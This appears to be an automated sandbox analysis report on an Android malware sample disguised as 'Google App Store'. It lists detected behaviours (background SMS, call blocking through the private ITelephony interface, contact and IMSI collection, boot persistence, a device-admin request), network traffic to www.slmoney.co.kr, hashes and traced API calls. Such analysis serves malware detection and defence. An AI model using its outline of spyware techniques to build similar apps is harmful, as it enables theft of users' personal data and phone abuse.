General Information |
---|
Analysis ID: | 1416 |
Start time: | 11:06:57 |
Start date: | 18/02/2014 |
Overall analysis duration: | 0h 7m 16s |
Report type: | full |
Sample file name: | 0D28FA54F9C0D41801E8FB5A7B0433DD.apk |
Cookbook file name: | default.jbs |
Analysis system description: | Android 4.0 EEE PC |
Warnings: |
|
Detection |
---|
Strategy | Report FP/FN | |
---|---|---|
Threshold |
Signature Overview |
---|
Change of System Appearance: |
---|
Mutes phone vibration | Show sources | ||
Mutes ringtone sound | Show sources |
Operating System Destruction: |
---|
Deletes other packages | Show sources |
Spam, unwanted Advertisements and Ransom Demands: |
---|
May perform phone calls in the background | Show sources | ||
May send SMS in background | Show sources | ||
May block phone calls / Accesses private ITelephony interface | Show sources | ||
Sends SMS using SmsManager | Show sources |
Networking: |
---|
Urls found in memory or binary data | Show sources | ||
Uses HTTP for connecting to the internet | Show sources | ||
Checks an internet connection is available | Show sources | ||
Opens an internet connection | Show sources | ||
Performs DNS lookups | Show sources |
Boot Survival: |
---|
Executes code after phone reboot | Show sources | ||
Starts a service on phone boot (autostart) | Show sources |
Stealing of Sensitive Information: |
---|
May spy personal data reading low-level logfiles | Show sources | ||
Queries list of installed packages | Show sources | ||
Monitors incoming Phone calls | Show sources | ||
Monitors incoming SMS | Show sources | ||
Queries phone contact information | Show sources | ||
Reads the incoming call number | Show sources |
Persistence and Installation Behavior: |
---|
Sets an intent to the APK data type (used to install other APKs) | Show sources |
Data Obfuscation: |
---|
Uses reflection | Show sources |
Spreading: |
---|
Accesses external storage location | Show sources |
System Summary: |
---|
Requests potentially dangerous permissions | Show sources |
Virtual Machine Detection: |
---|
Accesses android OS build fields | Show sources |
Language, Device and Operating System Detection: |
---|
Queries the unqiue device ID (IMEI, MEID or ESN) | Show sources |
Screenshot |
---|
Contacted Domains |
---|
Name | IP | Name Server | Active | Registrar | |
---|---|---|---|---|---|
www.slmoney.co.kr | unknown | unknown | unknown | unknown | unknown |
pool.ntp.org | unknown | unknown | unknown | unknown | unknown |
Contacted IPs |
---|
IP | Country | Pingable | Open Ports |
---|---|---|---|
8.8.8.8 | United States | unknown | unknown |
Static File Info |
---|
File type: | Zip archive data, at least v2.0 to extract |
File name: | 0D28FA54F9C0D41801E8FB5A7B0433DD.apk |
File size: | 230785 |
MD5: | 0d28fa54f9c0d41801e8fb5a7b0433dd |
SHA1: | 22f31813d98d8a65e7608f4377eb30bc221a4edd |
SHA256: | 2528e2ba0049cfbcd9d7d1af81cd75aaebaa479482f3a8c97011540ee0b380bf |
SHA512: | 39c74de6d2198292799a753fb5bba4114a373d02a65b41ed3b04cd032baf16f95a5e3d03addc3ba294cb186bf1f9675a68ac34b681fb6a735f8ebdfec0992236 |
Static APK Info |
---|
General | |
---|---|
Label: | Google App Store |
Minium SDK required: | 8 |
Target SDK required: | 14 |
Version Code: | 2 |
Version Name: | 2 |
Package Name: | com.example.adt |
Is Activity: | true |
Is Receiver: | true |
Is Service: | true |
Requests System Level Permissions: | false |
Play Store Compatible: | true |
Activities |
---|
Name | Is Entrypoint |
---|---|
com.example.adtcom.example.adt.MainActivity | true |
Receivers |
---|
|
|
|
|
|
|
|
|
Services |
---|
|
Permission Requested |
---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Certifcate |
---|
Name: | classes.dex |
Issuer: | 1.2.840.113549.1.9.1=#1613616e64726f696440616e64726f69642e636f6d,CN=Android,OU=Android,O=Android,L=Mountain View,ST=California,C=US |
Subject: | 1.2.840.113549.1.9.1=#1613616e64726f696440616e64726f69642e636f6d,CN=Android,OU=Android,O=Android,L=Mountain View,ST=California,C=US |
Resources |
---|
Name | Type |
---|---|
AndroidManifest.xml | DBase 3 data file (8940 records) |
assets/config.ini | ASCII text, with CRLF line terminators |
res/drawable-mdpi/ic_launcher.png | PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced |
META-INF/CERT.RSA | data |
res/drawable-hdpi/hn.png | PNG image data, 72 x 72, 8-bit/color RGBA, non-interlaced |
res/drawable-hdpi/nh.png | PNG image data, 72 x 72, 8-bit/color RGBA, non-interlaced |
res/layout/activity_main.xml | DBase 3 data file (364 records) |
META-INF/CERT.SF | ASCII text, with CRLF line terminators |
res/drawable-xhdpi/ic_launcher.png | PNG image data, 96 x 96, 8-bit/color RGBA, non-interlaced |
res/menu/activity_main.xml | DBase 3 data file (464 records) |
res/drawable-hdpi/wr.png | PNG image data, 72 x 72, 8-bit/color RGBA, non-interlaced |
META-INF/MANIFEST.MF | ASCII text, with CRLF line terminators |
classes.dex | Dalvik dex file version 035 |
res/drawable-hdpi/ic_launcher.png | PNG image data, 72 x 72, 8-bit/color RGBA, non-interlaced |
resources.arsc | data |
res/xml/lock_screen.xml | DBase 3 data file (392 records) |
res/drawable-ldpi/ic_launcher.png | PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced |
res/drawable-hdpi/sh.png | PNG image data, 72 x 72, 8-bit/color RGBA, non-interlaced |
Network Behavior |
---|
TCP Packets |
---|
Timestamp | Source Port | Dest Port | Source IP | Dest IP |
---|---|---|---|---|
Feb 18, 2014 11:07:41.722158909 CET | 25266 | 53 | 192.168.2.5 | 8.8.8.8 |
Feb 18, 2014 11:07:41.722353935 CET | 24592 | 53 | 192.168.2.5 | 8.8.8.8 |
Feb 18, 2014 11:07:41.722481012 CET | 24719 | 53 | 192.168.2.5 | 8.8.8.8 |
Feb 18, 2014 11:07:41.722599983 CET | 24325 | 53 | 192.168.2.5 | 8.8.8.8 |
Feb 18, 2014 11:07:41.722831964 CET | 24494 | 53 | 192.168.2.5 | 8.8.8.8 |
Feb 18, 2014 11:07:41.722970963 CET | 24409 | 53 | 192.168.2.5 | 8.8.8.8 |
Feb 18, 2014 11:07:41.723095894 CET | 23773 | 53 | 192.168.2.5 | 8.8.8.8 |
Feb 18, 2014 11:07:46.729012012 CET | 23773 | 53 | 192.168.2.5 | 8.8.8.8 |
Feb 18, 2014 11:08:14.850508928 CET | 11505 | 53 | 192.168.2.5 | 8.8.8.8 |
Feb 18, 2014 11:08:14.850661993 CET | 11042 | 53 | 192.168.2.5 | 8.8.8.8 |
Feb 18, 2014 11:08:14.850780964 CET | 11167 | 53 | 192.168.2.5 | 8.8.8.8 |
Feb 18, 2014 11:08:14.850892067 CET | 10765 | 53 | 192.168.2.5 | 8.8.8.8 |
Feb 18, 2014 11:08:14.851131916 CET | 11429 | 53 | 192.168.2.5 | 8.8.8.8 |
Feb 18, 2014 11:08:14.851249933 CET | 11326 | 53 | 192.168.2.5 | 8.8.8.8 |
Feb 18, 2014 11:08:14.851404905 CET | 11654 | 53 | 192.168.2.5 | 8.8.8.8 |
Feb 18, 2014 11:13:59.260426044 CET | 13010 | 53 | 192.168.2.5 | 8.8.8.8 |
Feb 18, 2014 11:13:59.260622025 CET | 13273 | 53 | 192.168.2.5 | 8.8.8.8 |
Feb 18, 2014 11:13:59.260744095 CET | 9307 | 53 | 192.168.2.5 | 8.8.8.8 |
Feb 18, 2014 11:13:59.260859013 CET | 9386 | 53 | 192.168.2.5 | 8.8.8.8 |
Feb 18, 2014 11:13:59.261113882 CET | 9283 | 53 | 192.168.2.5 | 8.8.8.8 |
Feb 18, 2014 11:13:59.261275053 CET | 10147 | 53 | 192.168.2.5 | 8.8.8.8 |
Feb 18, 2014 11:13:59.261398077 CET | 10029 | 53 | 192.168.2.5 | 8.8.8.8 |
UDP Packets |
---|
Timestamp | Source Port | Dest Port | Source IP | Dest IP |
---|---|---|---|---|
Feb 18, 2014 11:07:41.722158909 CET | 25266 | 53 | 192.168.2.5 | 8.8.8.8 |
Feb 18, 2014 11:07:41.722353935 CET | 24592 | 53 | 192.168.2.5 | 8.8.8.8 |
Feb 18, 2014 11:07:41.722481012 CET | 24719 | 53 | 192.168.2.5 | 8.8.8.8 |
Feb 18, 2014 11:07:41.722599983 CET | 24325 | 53 | 192.168.2.5 | 8.8.8.8 |
Feb 18, 2014 11:07:41.722831964 CET | 24494 | 53 | 192.168.2.5 | 8.8.8.8 |
Feb 18, 2014 11:07:41.722970963 CET | 24409 | 53 | 192.168.2.5 | 8.8.8.8 |
Feb 18, 2014 11:07:41.723095894 CET | 23773 | 53 | 192.168.2.5 | 8.8.8.8 |
Feb 18, 2014 11:07:46.729012012 CET | 23773 | 53 | 192.168.2.5 | 8.8.8.8 |
Feb 18, 2014 11:08:14.850508928 CET | 11505 | 53 | 192.168.2.5 | 8.8.8.8 |
Feb 18, 2014 11:08:14.850661993 CET | 11042 | 53 | 192.168.2.5 | 8.8.8.8 |
Feb 18, 2014 11:08:14.850780964 CET | 11167 | 53 | 192.168.2.5 | 8.8.8.8 |
Feb 18, 2014 11:08:14.850892067 CET | 10765 | 53 | 192.168.2.5 | 8.8.8.8 |
Feb 18, 2014 11:08:14.851131916 CET | 11429 | 53 | 192.168.2.5 | 8.8.8.8 |
Feb 18, 2014 11:08:14.851249933 CET | 11326 | 53 | 192.168.2.5 | 8.8.8.8 |
Feb 18, 2014 11:08:14.851404905 CET | 11654 | 53 | 192.168.2.5 | 8.8.8.8 |
Feb 18, 2014 11:13:59.260426044 CET | 13010 | 53 | 192.168.2.5 | 8.8.8.8 |
Feb 18, 2014 11:13:59.260622025 CET | 13273 | 53 | 192.168.2.5 | 8.8.8.8 |
Feb 18, 2014 11:13:59.260744095 CET | 9307 | 53 | 192.168.2.5 | 8.8.8.8 |
Feb 18, 2014 11:13:59.260859013 CET | 9386 | 53 | 192.168.2.5 | 8.8.8.8 |
Feb 18, 2014 11:13:59.261113882 CET | 9283 | 53 | 192.168.2.5 | 8.8.8.8 |
Feb 18, 2014 11:13:59.261275053 CET | 10147 | 53 | 192.168.2.5 | 8.8.8.8 |
Feb 18, 2014 11:13:59.261398077 CET | 10029 | 53 | 192.168.2.5 | 8.8.8.8 |
ICMP Packets |
---|
Timestamp | Source IP | Dest IP | Checksum | Code | Type |
---|---|---|---|---|---|
Feb 18, 2014 11:07:41.722208023 CET | 8.8.8.8 | 192.168.2.5 | cff1 | (Port unreachable) | Destination Unreachable |
Feb 18, 2014 11:07:41.722366095 CET | 8.8.8.8 | 192.168.2.5 | cff1 | (Port unreachable) | Destination Unreachable |
Feb 18, 2014 11:07:41.722492933 CET | 8.8.8.8 | 192.168.2.5 | cff1 | (Port unreachable) | Destination Unreachable |
Feb 18, 2014 11:07:41.722610950 CET | 8.8.8.8 | 192.168.2.5 | cff1 | (Port unreachable) | Destination Unreachable |
Feb 18, 2014 11:07:41.722845078 CET | 8.8.8.8 | 192.168.2.5 | cff1 | (Port unreachable) | Destination Unreachable |
Feb 18, 2014 11:07:41.722981930 CET | 8.8.8.8 | 192.168.2.5 | cff1 | (Port unreachable) | Destination Unreachable |
Feb 18, 2014 11:07:46.729048014 CET | 8.8.8.8 | 192.168.2.5 | cff1 | (Port unreachable) | Destination Unreachable |
Feb 18, 2014 11:08:14.850543022 CET | 8.8.8.8 | 192.168.2.5 | cff6 | (Port unreachable) | Destination Unreachable |
Feb 18, 2014 11:08:14.850673914 CET | 8.8.8.8 | 192.168.2.5 | cff6 | (Port unreachable) | Destination Unreachable |
Feb 18, 2014 11:08:14.850792885 CET | 8.8.8.8 | 192.168.2.5 | cff6 | (Port unreachable) | Destination Unreachable |
Feb 18, 2014 11:08:14.850903034 CET | 8.8.8.8 | 192.168.2.5 | cff6 | (Port unreachable) | Destination Unreachable |
Feb 18, 2014 11:08:14.851145029 CET | 8.8.8.8 | 192.168.2.5 | cff6 | (Port unreachable) | Destination Unreachable |
Feb 18, 2014 11:08:14.851263046 CET | 8.8.8.8 | 192.168.2.5 | cff6 | (Port unreachable) | Destination Unreachable |
Feb 18, 2014 11:13:59.260477066 CET | 8.8.8.8 | 192.168.2.5 | cff1 | (Port unreachable) | Destination Unreachable |
Feb 18, 2014 11:13:59.260634899 CET | 8.8.8.8 | 192.168.2.5 | cff1 | (Port unreachable) | Destination Unreachable |
Feb 18, 2014 11:13:59.260755062 CET | 8.8.8.8 | 192.168.2.5 | cff1 | (Port unreachable) | Destination Unreachable |
Feb 18, 2014 11:13:59.260869980 CET | 8.8.8.8 | 192.168.2.5 | cff1 | (Port unreachable) | Destination Unreachable |
Feb 18, 2014 11:13:59.261126995 CET | 8.8.8.8 | 192.168.2.5 | cff1 | (Port unreachable) | Destination Unreachable |
Feb 18, 2014 11:13:59.261287928 CET | 8.8.8.8 | 192.168.2.5 | cff1 | (Port unreachable) | Destination Unreachable |
DNS Queries |
---|
Timestamp | Source IP | Dest IP | Trans ID | OP Code | Name | Type | Class |
---|---|---|---|---|---|---|---|
Feb 18, 2014 11:07:41.722158909 CET | 192.168.2.5 | 8.8.8.8 | 0x5eae | Standard query (0) | pool.ntp.org | A (IP address) | IN (0x0001) |
Feb 18, 2014 11:07:41.722353935 CET | 192.168.2.5 | 8.8.8.8 | 0x5eae | Standard query (0) | pool.ntp.org | A (IP address) | IN (0x0001) |
Feb 18, 2014 11:07:41.722481012 CET | 192.168.2.5 | 8.8.8.8 | 0x5c80 | Standard query (0) | pool.ntp.org | A (IP address) | IN (0x0001) |
Feb 18, 2014 11:07:41.722599983 CET | 192.168.2.5 | 8.8.8.8 | 0x5c80 | Standard query (0) | pool.ntp.org | A (IP address) | IN (0x0001) |
Feb 18, 2014 11:07:41.722831964 CET | 192.168.2.5 | 8.8.8.8 | 0x5ba2 | Standard query (0) | pool.ntp.org | A (IP address) | IN (0x0001) |
Feb 18, 2014 11:07:41.722970963 CET | 192.168.2.5 | 8.8.8.8 | 0x5ba2 | Standard query (0) | pool.ntp.org | A (IP address) | IN (0x0001) |
Feb 18, 2014 11:07:41.723095894 CET | 192.168.2.5 | 8.8.8.8 | 0x58d3 | Standard query (0) | pool.ntp.org | A (IP address) | IN (0x0001) |
Feb 18, 2014 11:07:46.729012012 CET | 192.168.2.5 | 8.8.8.8 | 0x58d3 | Standard query (0) | pool.ntp.org | A (IP address) | IN (0x0001) |
Feb 18, 2014 11:08:14.850508928 CET | 192.168.2.5 | 8.8.8.8 | 0x28ef | Standard query (0) | www.slmoney.co.kr | A (IP address) | IN (0x0001) |
Feb 18, 2014 11:08:14.850661993 CET | 192.168.2.5 | 8.8.8.8 | 0x28ef | Standard query (0) | www.slmoney.co.kr | A (IP address) | IN (0x0001) |
Feb 18, 2014 11:08:14.850780964 CET | 192.168.2.5 | 8.8.8.8 | 0x2790 | Standard query (0) | www.slmoney.co.kr | A (IP address) | IN (0x0001) |
Feb 18, 2014 11:08:14.850892067 CET | 192.168.2.5 | 8.8.8.8 | 0x2790 | Standard query (0) | www.slmoney.co.kr | A (IP address) | IN (0x0001) |
Feb 18, 2014 11:08:14.851131916 CET | 192.168.2.5 | 8.8.8.8 | 0x28b5 | Standard query (0) | www.slmoney.co.kr | A (IP address) | IN (0x0001) |
Feb 18, 2014 11:08:14.851249933 CET | 192.168.2.5 | 8.8.8.8 | 0x28b5 | Standard query (0) | www.slmoney.co.kr | A (IP address) | IN (0x0001) |
Feb 18, 2014 11:08:14.851404905 CET | 192.168.2.5 | 8.8.8.8 | 0x2998 | Standard query (0) | www.slmoney.co.kr | A (IP address) | IN (0x0001) |
Feb 18, 2014 11:13:59.260426044 CET | 192.168.2.5 | 8.8.8.8 | 0x2ea1 | Standard query (0) | pool.ntp.org | A (IP address) | IN (0x0001) |
Feb 18, 2014 11:13:59.260622025 CET | 192.168.2.5 | 8.8.8.8 | 0x2ea1 | Standard query (0) | pool.ntp.org | A (IP address) | IN (0x0001) |
Feb 18, 2014 11:13:59.260744095 CET | 192.168.2.5 | 8.8.8.8 | 0x2020 | Standard query (0) | pool.ntp.org | A (IP address) | IN (0x0001) |
Feb 18, 2014 11:13:59.260859013 CET | 192.168.2.5 | 8.8.8.8 | 0x2020 | Standard query (0) | pool.ntp.org | A (IP address) | IN (0x0001) |
Feb 18, 2014 11:13:59.261113882 CET | 192.168.2.5 | 8.8.8.8 | 0x2075 | Standard query (0) | pool.ntp.org | A (IP address) | IN (0x0001) |
Feb 18, 2014 11:13:59.261275053 CET | 192.168.2.5 | 8.8.8.8 | 0x2075 | Standard query (0) | pool.ntp.org | A (IP address) | IN (0x0001) |
Feb 18, 2014 11:13:59.261398077 CET | 192.168.2.5 | 8.8.8.8 | 0x2356 | Standard query (0) | pool.ntp.org | A (IP address) | IN (0x0001) |
APK Behavior |
---|
Installation Messages |
---|
Name | Is Error |
---|---|
Running dexopt on: com.example.adt; New package installed in /data/app/com.example.adt-1.apk; Not granting permission android.permission.MODIFY_PHONE_STATE to package com.example.adt (protectionLevel=3 flags=0x8be46); generateServicesMap(android.accounts.AccountAuthenticator): 3 services unchanged; generateServicesMap(android.content.SyncAdapter): 14 services unchanged | false |
Started Services |
---|
Registered Receivers |
---|
|
|
Simulated Events |
---|
Type | Data |
---|---|
boot completed |
|
time tick |
|
incoming sms |
|
outgoing sms |
|
location change |
|
incoming call |
|
outgoing call |
|
time tick |
|
API: java.net.URL->openConnection at com.example.adt.Connect.getHttpConnection:13 | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | libcore.net.http.HttpURLConnectionImpl |
|
API: android.content.ContentResolver->query at com.example.adt.Contact.getPhoneContacts:17 | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | android.net.Uri$HierarchicalUri |
|
p1 | [Ljava.lang.String; |
|
p2 | null |
|
p3 | null |
|
p4 | null |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.ContentResolver$CursorWrapperInner |
|
API: android.telephony.TelephonyManager->getLine1Number at com.example.adt.Config.getPhoneNumber:9 | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: android.telephony.TelephonyManager->getSubscriberId at com.example.adt.Config.getIMSI:9 | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: android.net.ConnectivityManager->getActiveNetworkInfo at com.example.adt.Config.isNetworkConnected:10 | Show source |
---|
API: android.net.ConnectivityManager->getActiveNetworkInfo at com.example.adt.Config.getAPNType:15 | Show source |
---|
API: android.net.ConnectivityManager->getActiveNetworkInfo at com.example.adt.CoreService.NetWorkStatus:9 | Show source |
---|
API: android.content.pm.PackageManager->setComponentEnabledSetting at ..:10 | Show source |
---|
API: android.content.pm.PackageManager->setComponentEnabledSetting at ..:16 | Show source |
---|
API: java.net.URL->openConnection at com.example.adt.HttpDownloader.download:14 | Show source |
---|
API: java.net.URL->openConnection at com.example.adt.DownLoad.downloadFile:8 | Show source |
---|
API: java.net.URL->openConnection at com.example.adt.DownLoad.downLoadFile:61 | Show source |
---|
API: java.net.URL->openConnection at com.example.adt.HttpDownloader.getInputStreamFromURL:11 | Show source |
---|
API: org.apache.http.impl.client.DefaultHttpClient-><init> at com.example.adt.Connect.postHttpConnection:43 | Show source |
---|
API: android.telephony.SmsManager->sendTextMessage at com.example.adt.SMS.sendData:51 | Show source |
---|
API: android.app.NotificationManager->notify at com.example.adt.CoreService.showNofity:42 | Show source |
---|
API: com.example.adt.MainActivity->getSystemService at com.example.adt.Config.getPhoneNumber:5 | Show source |
---|
Name | Type | Value |
---|---|---|
name | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.telephony.TelephonyManager |
|
API: android.telephony.TelephonyManager->getLine1Number at com.example.adt.Config.getPhoneNumber:9 | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: com.example.adt.CoreService->getSystemService at com.example.adt.Config.getIMSI:5 | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.telephony.TelephonyManager |
|
API: android.telephony.TelephonyManager->getSubscriberId at com.example.adt.Config.getIMSI:9 | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: android.app.SharedPreferencesImpl->getString at com.example.adt.Config.get:11 | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
p1 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: com.example.adt.CoreService->getSystemService at com.example.adt.Config.getPhoneNumber:5 | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.telephony.TelephonyManager |
|
API: android.telephony.TelephonyManager->getLine1Number at com.example.adt.Config.getPhoneNumber:9 | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: com.example.adt.CoreService->getSystemService at com.example.adt.Config.getPhoneNumber:5 | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.telephony.TelephonyManager |
|
API: com.example.adt.CoreService->getSystemService at com.example.adt.Config.getIMSI:5 | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.telephony.TelephonyManager |
|
API: android.telephony.TelephonyManager->getSubscriberId at com.example.adt.Config.getIMSI:9 | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: android.app.SharedPreferencesImpl->getString at com.example.adt.Config.get:11 | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
p1 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: com.example.adt.CoreService->getSystemService at com.example.adt.Config.getPhoneNumber:5 | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.telephony.TelephonyManager |
|
API: android.telephony.TelephonyManager->getLine1Number at com.example.adt.Config.getPhoneNumber:9 | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: com.example.adt.CoreService->getSystemService at com.example.adt.Config.getPhoneNumber:5 | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.telephony.TelephonyManager |
|
API: com.example.adt.CoreService->getSystemService at com.example.adt.Config.getIMSI:5 | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.telephony.TelephonyManager |
|
API: android.telephony.TelephonyManager->getLine1Number at com.example.adt.Config.getPhoneNumber:9 | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.String |
|
API: java.net.URL-><init> at com.example.adt.Connect.getHttpConnection:9 | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.net.URL |
|
API: java.net.URL-><init> at com.example.adt.Connect.getHttpConnection:9 | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | java.net.URL |
|
API: java.net.URL->openConnection at com.example.adt.Connect.getHttpConnection:13 | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | libcore.net.http.HttpURLConnectionImpl |
|
API: android.content.ContentResolver->query at com.example.adt.Contact.getPhoneContacts:17 | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | android.net.Uri$HierarchicalUri |
|
p1 | [Ljava.lang.String; |
|
p2 | null |
|
p3 | null |
|
p4 | null |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.ContentResolver$CursorWrapperInner |
|
API: android.content.ContentResolver->query at com.example.adt.Contact.getPhoneContacts:17 | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | android.net.Uri$HierarchicalUri |
|
p1 | [Ljava.lang.String; |
|
p2 | null |
|
p3 | null |
|
p4 | null |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.ContentResolver$CursorWrapperInner |
|
API: android.content.ContentResolver->query at com.example.adt.Contact.getPhoneContacts:17 | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | android.net.Uri$HierarchicalUri |
|
p1 | [Ljava.lang.String; |
|
p2 | null |
|
p3 | null |
|
p4 | null |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.ContentResolver$CursorWrapperInner |
|
API: java.net.URLEncoder->encode at com.example.adt.Contact$1.run:6 | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | null |
|
API: java.net.URLEncoder->encode at com.example.adt.Contact$1.run:6 | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | null |
|
API: java.net.URLEncoder->encode at com.example.adt.Contact$1.run:6 | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | null |
|
API: com.example.adt.CoreService->registerReceiver at com.example.adt.CoreService.onCreate:99 | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | com.example.adt.CoreService$MyBroadcastReciver |
|
p1 | android.content.IntentFilter |
|
Name | Type | Value |
---|---|---|
Return Value | null |
|
API: com.example.adt.CoreService->registerReceiver at com.example.adt.CoreService.onCreate:99 | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | com.example.adt.CoreService$MyBroadcastReciver |
|
p1 | android.content.IntentFilter |
|
Name | Type | Value |
---|---|---|
Return Value | null |
|
API: android.app.Activity->requestWindowFeature at com.example.adt.MainActivity.onCreate:6 | Show source |
---|
Name | Type | Value |
---|---|---|
featureId | java.lang.Integer |
|
Name | Type | Value |
---|---|---|
Return Value | android.util.AndroidRuntimeException |
|
API: com.example.adt.MainActivity->getSystemService at com.example.adt.MainActivity.onCreate:18 | Show source |
---|
Name | Type | Value |
---|---|---|
name | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.app.admin.DevicePolicyManager |
|
API: android.app.admin.DevicePolicyManager->isAdminActive at com.example.adt.MainActivity.onCreate:32 | Show source |
---|
Name | Type | Value |
---|---|---|
who | android.content.ComponentName |
|
Name | Type | Value |
---|---|---|
Return Value | java.lang.Boolean |
|
API: android.content.Intent->putExtra at com.example.adt.MainActivity.activeManager:11 | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
p1 | android.content.ComponentName |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.Intent |
|
API: android.content.Intent->putExtra at com.example.adt.MainActivity.activeManager:17 | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
p1 | java.lang.String |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.Intent |
|
API: com.example.adt.MainActivity->startActivity at com.example.adt.MainActivity.activeManager:19 | Show source |
---|
Name | Type | Value |
---|---|---|
intent | android.content.Intent |
|
API: com.example.adt.MainActivity->startService at com.example.adt.MainActivity.onCreate:44 | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | android.content.Intent |
|
Name | Type | Value |
---|---|---|
Return Value | android.content.ComponentName |
|
API: android.os.IBinder->queryLocalInterface at com.android.internal.telephony.ITelephony$Stub.asInterface:8 | Show source |
---|
API: android.os.Binder-><init> at com.android.internal.telephony.ITelephony$Stub.<init>:2 | Show source |
---|
API: com.android.internal.telephony.ITelephony$Stub->attachInterface at com.android.internal.telephony.ITelephony$Stub.<init>:6 | Show source |
---|
API: android.os.Binder->onTransact at com.android.internal.telephony.ITelephony$Stub.onTransact:13 | Show source |
---|
API: android.os.Parcel->writeString at com.android.internal.telephony.ITelephony$Stub.onTransact:19 | Show source |
---|
API: android.os.Parcel->enforceInterface at com.android.internal.telephony.ITelephony$Stub.onTransact:24 | Show source |
---|
API: com.android.internal.telephony.ITelephony$Stub->endCall at com.android.internal.telephony.ITelephony$Stub.onTransact:26 | Show source |
---|
API: android.os.Parcel->writeNoException at com.android.internal.telephony.ITelephony$Stub.onTransact:29 | Show source |
---|
API: android.os.Parcel->writeInt at com.android.internal.telephony.ITelephony$Stub.onTransact:33 | Show source |
---|
API: android.os.Parcel->enforceInterface at com.android.internal.telephony.ITelephony$Stub.onTransact:40 | Show source |
---|
API: com.android.internal.telephony.ITelephony$Stub->answerRingingCall at com.android.internal.telephony.ITelephony$Stub.onTransact:42 | Show source |
---|
API: android.os.Parcel->writeNoException at com.android.internal.telephony.ITelephony$Stub.onTransact:44 | Show source |
---|
API: android.os.Parcel->obtain at com.android.internal.telephony.ITelephony$Stub$Proxy.answerRingingCall:7 | Show source |
---|
API: android.os.Parcel->obtain at com.android.internal.telephony.ITelephony$Stub$Proxy.answerRingingCall:10 | Show source |
---|
API: android.os.Parcel->writeInterfaceToken at com.android.internal.telephony.ITelephony$Stub$Proxy.answerRingingCall:15 | Show source |
---|
API: android.os.IBinder->transact at com.android.internal.telephony.ITelephony$Stub$Proxy.answerRingingCall:21 | Show source |
---|
API: android.os.Parcel->readException at com.android.internal.telephony.ITelephony$Stub$Proxy.answerRingingCall:23 | Show source |
---|
API: android.os.Parcel->recycle at com.android.internal.telephony.ITelephony$Stub$Proxy.answerRingingCall:25 | Show source |
---|
API: android.os.Parcel->recycle at com.android.internal.telephony.ITelephony$Stub$Proxy.answerRingingCall:27 | Show source |
---|
API: android.os.Parcel->recycle at com.android.internal.telephony.ITelephony$Stub$Proxy.answerRingingCall:31 | Show source |
---|
API: android.os.Parcel->recycle at com.android.internal.telephony.ITelephony$Stub$Proxy.answerRingingCall:33 | Show source |
---|
API: java.lang.Object-><init> at ..:3 | Show source |
---|
API: android.os.Parcel->obtain at com.android.internal.telephony.ITelephony$Stub$Proxy.endCall:9 | Show source |
---|
API: android.os.Parcel->obtain at com.android.internal.telephony.ITelephony$Stub$Proxy.endCall:12 | Show source |
---|
API: android.os.Parcel->writeInterfaceToken at com.android.internal.telephony.ITelephony$Stub$Proxy.endCall:17 | Show source |
---|
API: android.os.IBinder->transact at com.android.internal.telephony.ITelephony$Stub$Proxy.endCall:23 | Show source |
---|
